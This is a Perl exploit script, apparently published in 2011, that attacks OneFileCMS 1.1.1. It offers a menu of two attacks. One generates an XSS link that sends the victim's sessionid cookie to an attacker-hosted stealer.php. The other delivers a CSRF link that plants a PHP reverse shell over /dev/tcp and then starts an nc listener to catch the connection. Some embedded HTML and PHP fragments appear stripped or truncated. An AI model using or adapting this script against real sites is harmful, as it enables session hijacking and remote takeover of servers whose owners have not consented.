#!/usr/bin/perl # # Exploit Title: OneFileCMS v.1.1.1 Remote Code Execution Exploit # Date: 22/8/2011 # Author: mr.pr0n (@_pr0n_) # Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr # Software Link: http://onefilecms.com/download/onefilecms_site_v1.1.1.zip # Version: OneFileCMS v.1.1.1 # Tested on: Linux Fedora 14 use LWP::UserAgent; print "\n |==[ mr.pr0n ]=============================================== |\n"; print " | OneFileCMS 1.1.1 - [R]emote [C]ode [E]xecution [E]xploit |\n"; print " |===================[ http://ghostinthelab.wordpress.com/ ]== |\n"; print "\nEnter the target (e.g.: http://victim.com)"; print "\n> "; $target=; chomp($target); $target = "http://".$target if ($target !~ /^http:/); print "Enter the OneFileCMS directory (e.g.: onefilecms)"; print "\n> "; $dir=; chomp($dir); $target = $target."/".$dir; menu:; print "\n[+] Main Menu:\n"; print " 1. Steal the \"sessionid\" cookie.\n"; print " 2. Get a shell on your target.\n"; print " 3. Exit.\n" ; print "> "; $option=; if ($option!=1 && $option!=2 && $option!=3) { print "Oups, wrong option.\nPlease, try again.\n"; goto menu; } if ($option==1) {&cookie} if ($option==2) {&shell} if ($option==3) {&quit} sub cookie { print "Enter the address of the \"stealer.php\" (e.g.: http://attacker.com/stealer.php)"; print "\n> "; $stealer=; chomp($stealer); # ------------------------------------------------------------------------------------- # stealer.php - source code # ------------------------------------------------------------------------------------- # # -------------------------------------------------------------------------------------- $result = "'\">"; $result =~ s/(.)/sprintf("%x%",ord($1))/eg; print "\n[+] Send this link to your victim ...\n\n"; print $target."/onefilecms.php?p=".$result."\n"; goto menu; } sub shell { print "Enter the sessionid:"; print "\n> "; $sessionid=; chomp($sessionid); print "Enter the IP address for the reverse connection (e.g.: 192.168.178.25)"; print "\n> "; $ip=; chomp($ip); print "Enter the port to connect back on (e.g.: 4444)"; print "\n> "; $port=; chomp($port); $payload = " /dev/tcp/$ip/$port 0\<&1 2\>&1');". "?>"; $filename = "index_".int(rand()*1011).".php"; $csrf = "'\">". "
". "". "". "". "". "
"; $csrf =~ s/(.)/sprintf("%x%",ord($1))/eg; print "\n[+] Send this link to your victim...\n\n"; print $target."/onefilecms.php?p=".$csrf."\n"; $nc= "nc -lvp $port"; system("xterm -e $nc &"); print "\n[+] Please be patient...\n"; while (1) { $int = LWP::UserAgent->new() or die; $check=$int->get($target."/".$filename); if ($check->content =~ m/was not found/g) { sleep(10); } } goto menu; } sub quit { exit(1); }